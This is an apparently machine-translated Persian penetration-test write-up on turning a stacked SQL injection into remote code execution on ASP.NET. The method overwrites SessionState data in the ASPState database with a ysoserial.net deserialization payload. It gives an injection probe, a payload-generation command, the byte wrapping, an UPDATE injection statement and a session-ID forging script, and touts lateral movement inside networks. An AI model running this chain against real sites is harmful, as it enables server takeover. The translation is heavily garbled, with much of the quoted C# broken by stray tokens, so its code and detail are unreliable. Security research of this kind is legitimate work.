
از SQL تا RCE: استفاده از deserialization SessionState برای حمله به برنامه های وب ASP.NET
امروز ، بیایید در مورد حکایات کشف شده در سال گذشته از آزمایش نفوذ صحبت کنیم. یک بعد از ظهر بادی و زیبا ، طبق معمول ، یک جلسه تست خسته کننده داشت ، و برای هر پارامتر تزریق های مختلف ممکن را امتحان می کرد ، اما تا وقتی که را تزریق کردم ، پیشرفت و پیشرفتی نداشته است؟ Id = 1؛ منتظر تأخیر '00: 00: 05 '-
در یک صفحه خاص ، و سپس او گیر افتاد ، درست بعد از 5. بعد از یک ثانیه ، سرور دوباره پاسخ داد ، این بدان معنی است که ما یک SQL Injection را در SQL Server پیدا کردیم!
در برخی از سیستم های قدیمی و عظیم ، به دلیل برخی از عوامل پیچیده ، اغلب از حساب sa برای ورود به SQL Server استفاده می شود .با چنین حساب پایگاه داده ای با مجوز بالا ، به راحتی می توان از xp_cmdshell برای اجرای دستورات سیستم استفاده کرد. به منظور به دست آوردن کنترل سیستم عامل از سرور پایگاه داده ، اما اگر داستان خیلی روان است ، این مقاله ظاهر نمی شود ، بنابراین البته مجوز کافی برای حساب دیتابیس نداریم. اما از آنجا که SQL Injection found مبتنی بر Stacked است ، ما هنوز می توانیم CRUD را در جدول داده ها انجام دهیم .اگر ما به اندازه کافی خوش شانس هستیم که برخی متغیرهای تنظیم وب سایت را کنترل می کنیم ، حتی می توانیم مستقیماً به RCE برسیم ، بنابراین ما هنوز هم سعی می کنیم از طرحواره برای فهم معماری و در فرآیند تخلیه استفاده کنیم. یک پایگاه داده جالب پیدا کرد:
بانک اطلاعاتی: ASPState
[2 tables]
+ --------------------------------------- +
| dbo.ASPStateTempApplications |
| dbo.ASPStateTempSessions |
+ --------------------------------------- +
پس از خواندن سند ، یاد گرفتم که هدف از این پایگاه داده ، صرفه جویی در جلسه برنامه وب سایت ASP.NET است. در شرایط عادی ، جلسه پیش فرض در حافظه برنامه وب ASP.NET ذخیره می شود ، اما در مورد برخی معماری غیر متمرکز (مانند معماری Load Balance) چندین برنامه مشابه وب ASP.NET یکسان در همان زمان اجرا می شوند. در میزبان های مختلف سرور ، و میزبان سرور که کاربر در هر بار درخواست به آن اختصاص داده شده ، دقیقاً یکسان نخواهد بود ، به مکانیسمی نیاز دارد که به چندین میزبان اجازه دهد جلسه را به اشتراک بگذارند ، و ذخیره سازی در SQL Server یک راه حل است. یکی از راه حل ها ، اگر می خواهید این مکانیسم را فعال کنید ، می توانید تنظیمات زیر را در web.config اضافه کنید:
<sessionState
mode = "SQLServer"
sqlConnectionString = "منبع داده = 127.0.0.1؛ id id user = ؛ password = "
timeout = " 20 "
/>
<! - ->
<! -
->
برای ایجاد یک پایگاه داده ASPState در بانک اطلاعاتی ، می توانید از ابزار داخلی C: Windows Microsoft.NET Framework v4.0.30319 aspnet_regsql.exe
استفاده کنید. شما باید از دستورالعمل های زیر استفاده کنید:
# ایجاد یک پایگاه داده ASPState
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -ststype p
# حذف پایگاه داده ASPState
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove -ststype p
اکنون که می فهمیم چگونه می توان محل ذخیره جلسه را تنظیم کرد و پایگاه داده ASPState را کنترل کرد ، چه کاری می توانیم انجام دهیم؟ این تمرکز عنوان مقاله است ، از اجرای Remote Code استفاده کنید!
ASP.NET به ما امکان می دهد برخی از اشیاء را در جلسه ذخیره کنیم ، مانند ذخیره کردن یک شیء List: جلسه ["secret"] = لیست جدید
، چگونه این اشیاء در SQL Server ذخیره می شوند ، البته با استفاده از مکانیسم سریال سازی برای پردازش ، و ما پایگاه داده را کنترل می کنیم ، بنابراین ما همچنین می توانیم deserialization دلخواه را انجام دهیم ، برای این کار باید سریالی سازی شی Session را بفهمیم. با فرایند deserialization.
بعد از خواندن كد ، مي توانيد به سرعت نوع پردازش هاي مربوط به پردازش را مشخص كنيد ، براي كاهش طول توصيف ، موارد زير به طور مستقيم در كليد قرار مي گيرند تا توضيح دهند كه پس از برداشتن داده ها از پايگاه داده ، چه نوعي از عملكردهاي delerialization انجام مي شود. هسته اصلی این است که با فراخوانی تابع SqlSessionStateStore.GetItem
Object Session را بازگردانی کنید اگرچه کد بی ربط تا حد امکان حذف شده است ، اما تعداد خطوط هنوز هم بسیار زیاد است. اگر شما برای خواندن کد بسیار تنبل هستید ، می توانید مستقیماً پایین نگه دارید و به ادامه توضیحات مقاله XD
فضای نامی System.Web.SessionState {
کلاس داخلی کلاس SqlSessionStateStore : SessionStateStoreProviderase نادیده گرفتن SessionStateStoreData GetItem ( HttpContext زمینه ،
String id ] [1965909042] ] قفل شده ،
خارج TimeSpan lockAge ،
out out ] LockId ،
out SessionStateActions ) {
SessionIDManager . CheckIdL طول ( id ، صحیح [19659066] / * hidOnFail * / )؛
بازگشت DoGet ( زمینه ، id ، false ، ] out قفل شده ، out lockAge ، out lockId ، out actionFlags ]؛ ] }
SessionStateStoreData DoGet ( HttpContext زمینه ، String id ، 19659102] خارج bool قفل شده ،
خارج TimeSpan lockAge ،
out Lock [d] ] ] out SessionStateActions actionFlags ) {
SqlDataReader خواننده ؛
بایت [] [1945903]
MemoryStream جریان = تهی ؛
جلسه StateStoreData مورد ؛
SqlStateConnection conn = null ]؛
SqlCommand
cmd = = = = = = = 19659122] bool usePooling = true ؛
buf = null ؛
خواننده = = ؛
conn = GetConnection ( id ، ref usePooling ]؛ try {
if ( getExclusive ) {
cmd = conn . TempGetExclusive ؛ [196590178]} ] {
cmd = conn . TempGet ؛
}
cmd . پارامترها [
]. Value = id + _partitionInfo . AppSuffix ؛ //id [19659203] cmd . پارامترها [ 1 ]. Value = Convert . DBNull ؛ ] //itemShort
cmd . پارامترها [ 2 ]. Value = Convert DBNull ؛ // @ قفل شده
cmd . پارامترها [ 3 ]. مقدار = DBNull ؛ //lockDate orlockAge
cmd . پارامترها [ 4 ]. Value [19659024] = Convert . DBNull ؛ / @ lockCookie
cmd . پارامترها [ 5 ] . Value = Convert . DBNull ؛ / @ actionFlags
با استفاده از ( خواننده = ] SqlExecuteReaderWithRet ry ( cmd ، CommandBehavi . پیش فرض ))] {[196590281] if ( خواننده ! = null ) {
try {
if ( خواننده . بخوانید ]) {
buf = ( byte []) خواننده ] [ 0 ]؛
}
} [19659026] گرفتن ] [ استثنا e ) {
ThrowSqlConnectionException ( cmd . ] e )؛
}
}
}
if ( buf == null ) {
/ * دریافت مورد کوتاه * /
buf = ( byte []) cmd ]. پارامترها [ 1 ]. مقدار ؛
}
با استفاده از ( stream = new MemoryStream ( buf )) {
مورد = SessionStateU . DeserializeStoreData ( زمینه ، جریان ، s_configCompressionEnabled )؛ [196590172] _rqOrigStream 19659300] int ) stream . Position ؛
}
بازگشت ] مورد ؛ [196590382]} بالاخره {
DisposeOrRuseConnection ( ref conn conn ، usePooling [1965903535])؛ IDisposable {
داخلی SqlCommand TempGet {
get {
if _] 19659026] null ) {
_cmdTempGet = جدید SqlCommand ( "dbo.TempGetStateItem3" ، _sqlConnection )؛
_cmdTempGet ] ] . StoredProcedure ؛
_cmdTempGet . CommandTimeout = s_commandTimeout ]
]] Parametting
بازگشت _cmdTempGet ؛
}
}
}
}
}
از کد می توانیم به وضوح ببینیم که تماس اصلی ASPState.dbo.TempGetStateItem3
Stored Procedure برای به دست آوردن داده های باینری سریالی شده Session و ذخیره آن در متغیر buf است ، و در نهایت buf به Session منتقل می شود. DeserializeStoreData
Deserialize جهت بازگرداندن موضوع Session ، و TempGetStateItem3 SP معادل اجرای SELECT SessionItemShort FROM [ASPState] .dbo.ASPStateTempSessions
است ، بنابراین می توانید جدول را در این قسمت قرار دهید در قسمت SessionItemShort. سپس اجازه دهید ما ببینیم که کلید DeserializeStoreData چه کاری انجام داده است. به همین ترتیب ، تعداد ردیف ها بسیار زیاد است ، در صورت نیاز ، لطفاً نام XD
نام فضای System.Web.SessionState {
[ public static کلاس SessionStateUtility ] {
[ SecurityPermission ( SecurityAction . ادعا ، SerializationFormatter = true ]] داخلی استاتیک SessionStateStoreData Deserialize ( HttpContext زمینه ، جریان جریان ] 19659478] timeout ؛
SessionStateItemCollection جلسهItems ؛
bool hasItems ؛
bool hasStaticOb staticObjects ؛
بایت eof ؛
سعی کنید {
BinaryReader خواننده = جدید جدید 69] BinaryReader ( stream )؛
timeout = خواننده . ReadInt32 ()؛
hasItems = خواننده . ReadBoolean ()؛
hasStaticObjects = خواننده . ReadBoolean ()؛
hasStaticObjects = خواننده . ] ( hasItems ) {
sessionItems = SessionStateItemCollection . Deserialize (] } other {
sessionItems = new SessionStateItemCollection ()؛
} [196590268] if [196590248] if [196590248] ) {
staticObjects = HttpStaticObjectsCollection .
staticOjects = SessionStateUtility . [19659061] GetSessionStaticObjects ( زمینه )؛
}
eof = خواننده . ReadByte () [19659 ( eof ! = 0xff ) {
پرتاب جدید HttpException ( SR . 19659061] GetString ( SR . Invalid_session_state ))؛
}
} گرفتن [] 19659024] {
پرتاب جدید HttpException ( SR . GetString ] [ SR [1965903536]] ))؛
}
بازگشت جدید SessionStateStoreData ( sessionItems ، staticObjects ، timeout ]}
استاتیک داخلی SessionStateStoreData DeserializeStoreData [19659035] ( HttpContext زمینه ، جریان جریان ، bool compressionEnabled ) return
] SessionStateUtility . Deserialize ( زمینه ، جریان [1965903535]) ؛
}
}
}
ما می توانیم ببینیم که DeserializeStoreData در واقع فرآیند دفع زدایی را به دسته های دیگر منتقل می کند و بسته به داده های بازیابی شده ، ممکن است به SessionStateItemCollection.Deserialize
یا HttpStaticObjectsCollection.Deser منتقل شود.
پس از پردازش ، دریافتم که پردازش [HtpStaticObjectsCollection نسبتاً ساده است ، بنابراین من شخصاً تصمیم گرفتم که در این شاخه تحصیل کنم.
namespace System.Web {
عمومی مهر و موم شده کلاس HttpStaticObjectsCollection : ICollection {
HttpStaticObjectsCollection Deserialize ( BinaryReader خواننده ] {
int [196590674] تعداد ] ]؛
string typename ؛
bool hasInstance ؛
Object نمونه ؛
HttpStaticObjectsEntry]
HttpStaticObjectsCollection col ؛
col = new HttpStaticObjectsCollection ()؛ [196590148] count ReadInt32 ()؛
در حالی که ( تعداد - > 0 ] {[196590243] نام = خواننده . [19659061] ReadString ()؛
hasInstance = خواننده . ReadBoolean ()؛
if ( ]Instance [196590] ) {
نمونه = AltSerialization . ReadValueFromStream ( خواننده )؛ [196590172] ورود ]] HttpStaticObjectsEntry ([ نام ، نمونه ، 0 )؛
} [196590167] other else { جست و خیز
}
col . _objects . اضافه کردن ( نام ، ورود )؛ ]
بازگشت col ؛
}
}
}
پیگیری کنید و بدانید که پس از HttpStaticObjectsCollection مقادیر بایت را حذف می کند ، این فرآیند را به AltSerialization.ReadValueFromStream
برای پردازش منتقل می کند. دوستانی که این را می بینند ممکن است با سه خط روی چهره خود فکر کنند: "این من مجبور نیستم دوباره آن را تعقیب کنم … "، اما در واقع تاکنون کافی است ، زیرا AltSerialization در واقع شبیه به بسته بندی BinaryFormatter است ، بنابراین اطلاعات کافی برای استفاده وجود دارد ، و یک دلیل دیگر و خبر خوب نیز وجود دارد. وقتی کد به اینجا رسید ، من آن شیء را به صورت آنلاین چک کردم و دریافتم که ysoserial.net قبلاً افزونه ای برای بارگیری دلسرد سازی AltSerialization deserialization دارد ، بنابراین می توانید مستقیماً از این سلاح استفاده کنید! خط زیر از دستورالعمل ها می توانند مبلغ بارگذاری شده رمزگذاری شده base64 را ایجاد کنند که دستورالعمل سیستم calc.exe را انجام دهد.
ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64 -c "
با این وجود ، هنوز مشکل کوچکی وجود دارد که باید آن را برطرف کرد. بارهای ایجاد شده توسط افزونه AltSerialization از ysoserial.net به دو نوع عملیات deserialization SessionStateItemCollection یا HttpStaticObjectsCollection ایجاد می شود و داده های سریالی جلسه که در پایگاه داده ذخیره می کنیم. این دسته توسط SessionStateUtility اداره می شود ، که روی آن یک لایه اضافی بسته بندی نیز وجود دارد ، بنابراین باید اصلاح شود. با نگاهی به کد ، می فهمید که SessionStateUtility فقط چند بایت اضافه کرده است.پس از کاهش ، به شرح زیر است:
timeout = خواننده . ReadInt32 ( )؛
hasItems = Reader . ReadBoolean ()؛
hasStaticObjects = Reader ] ReadBoolean ] ()؛
if ([ hasStaticObjects )
staticObjects = HttpStaticObjectsCollection . Deserialize ])؛
eof = خواننده . ReadByte ()؛
برای Int32 ، 4 بایت افزوده می شود ، و بولین 1 بایت است ، و از آنجا که مسیر برنامه می تواند وارد شاخه HttpStaticObjectsCollection شود ، بایت ششم باید 1 باشد تا شرط برآورده شود. اول ، اصلی از ysoserial.net مبلغ بازده خروجی از base64 به هگز تبدیل می شود و سپس 6 و 1 بایت قبل و بعد اضافه می شود ، همانطور که در نمودار زیر نشان داده شده است:
timeout false false HttpStaticObjectsCollection eof
┌┐ ┌┐ ─────────────┐ ┌┐
00 00 00 00 00 01 010000000001140001000000ff ... مجاز ... 0000000a0b ff
مبلغ بارگذاری شده می تواند برای حمله به گروه SessionStateUtility استفاده شود!
مرحله آخر استفاده از SQL Injection در ابتدا برای تزریق محتوای سریال مخرب به پایگاه داده است.اگر کوکی ASP.NET_SessionId هنگام مرور وب سایت هدف به طور عادی ظاهر شود ، بدین معنی است که در حال حاضر یک رکورد مربوطه Session در بانک اطلاعاتی ذخیره شده است. بنابراین ما فقط باید عبارت زیر SQL Update را اجرا کنیم:
؟ id = 1؛ UPDATE ASPState.dbo.ASPStateTempSessions
SET SessionItemShort = 0x {Hex_Encoded_Payload
در کجا SIKINI LIKE '{ASP.NET_SessionId} 25'؛ -
{ASP.NET_SessionId}
را با ارزش کوکی ASP.NET_SessionId و خود جایگزین کنید {Hex_Encoded_Payload}
را با بار سریالی تهیه شده در بالا.
اگر ASP.NET_SessionId وجود نداشته باشد چه می شود؟ این بدان معنی است که ممکن است هدف هیچ داده ای را در جلسه ذخیره نکرده باشد ، بنابراین هیچ سابقه ای در دیتابیس ایجاد نمی کند ، اما از آنجا که در دسترس نیست ، ما یک کوکی را به زور به آن وارد می کنیم! ASP.NET's SessionId 24 کاراکتر تولید شده توسط اعداد تصادفی است ، اما با استفاده از یک مجموعه کاراکترهای سفارشی شده ، می توانید مستقیماً از اسکریپت زیر استفاده کنید تا مجموعه ای از SessionId را ایجاد کنید ، به عنوان مثال: plxtfpabykouhu3grwv1j1qw ، و سپس کوکی را بیاورید. : ASP.NET_SessionId = plxtfpabykouhu3grwv1j1qw
مرور هر صفحه aspx ، به لحاظ تئوری ASP.NET بطور خودکار ركوردی را در دیتابیس اضافه می كند.
واردات تصادفی
کاردها = 'abcdefghijklmnopqrstuvwxyz012345'
چاپ (] "] ] تصادفی . انتخاب ( کارا ) برای i در محدوده ([ 24 )) )
اگر هنوز هیچ سابقه ای در دیتابیس وجود ندارد ، می توانید SQL INSERT را بصورت دستی وارد کنید تا یک رکورد ایجاد کنید. چگونه می توان این قسمت را نوشت؟ تا زمانی که به کد نگاه کنید ، می توان آن را به راحتی ساخت ، بنابراین آن را برای همه بگذارید تا بازی کنند: P
صبر کنید تا بار با موفقیت تزریق شود ، کافی است دوباره از این کوکی استفاده کنید ASP.NET_SessionId = plxtfpabykouhu3grwv1j1qw
مرور هر صفحه aspx برای اجرای هر دستور سیستم ، باعث ناامیدی می شود!
خارج از مبحث ، استفاده از deserialization SessionState برای به دست آوردن سناریوهای کنترل میزبان برنامه وب ASP.NET محدود به تزریق SQL نیست. در فرآیند تست نفوذ داخلی ، ما اغلب با این شرایط روبرو می شویم که بسیاری از حساب ها و رمزهای عبور SQL Server را از طریق نشت اطلاعات از همه طرفها بدست می آوریم (به عنوان مثال: GitLab داخلی ، خواندن پرونده های دلخواه و غیره) ، اما ما به تنهایی نمی توانیم به هدف برسیم. پسورد حساب کاربری میزبان ویندوز برنامه وب سایت ASP.NET ، و برای رسیدن به هدف (کنترل میزبان وب سایت تعیین شده) ، ما از این روش برای به دست آوردن کنترل هدف استفاده کرده ایم ، بنابراین به عنوان ابزاری برای حرکت جانبی اینترانت نیز کمی با ارزش است. و بسیار جالب است در مورد اینکه چه نوع ترفندهایی و گیم پلی در دسترس است ، این وظیفه شماست که همچنان از تخیل خود استفاده کنید!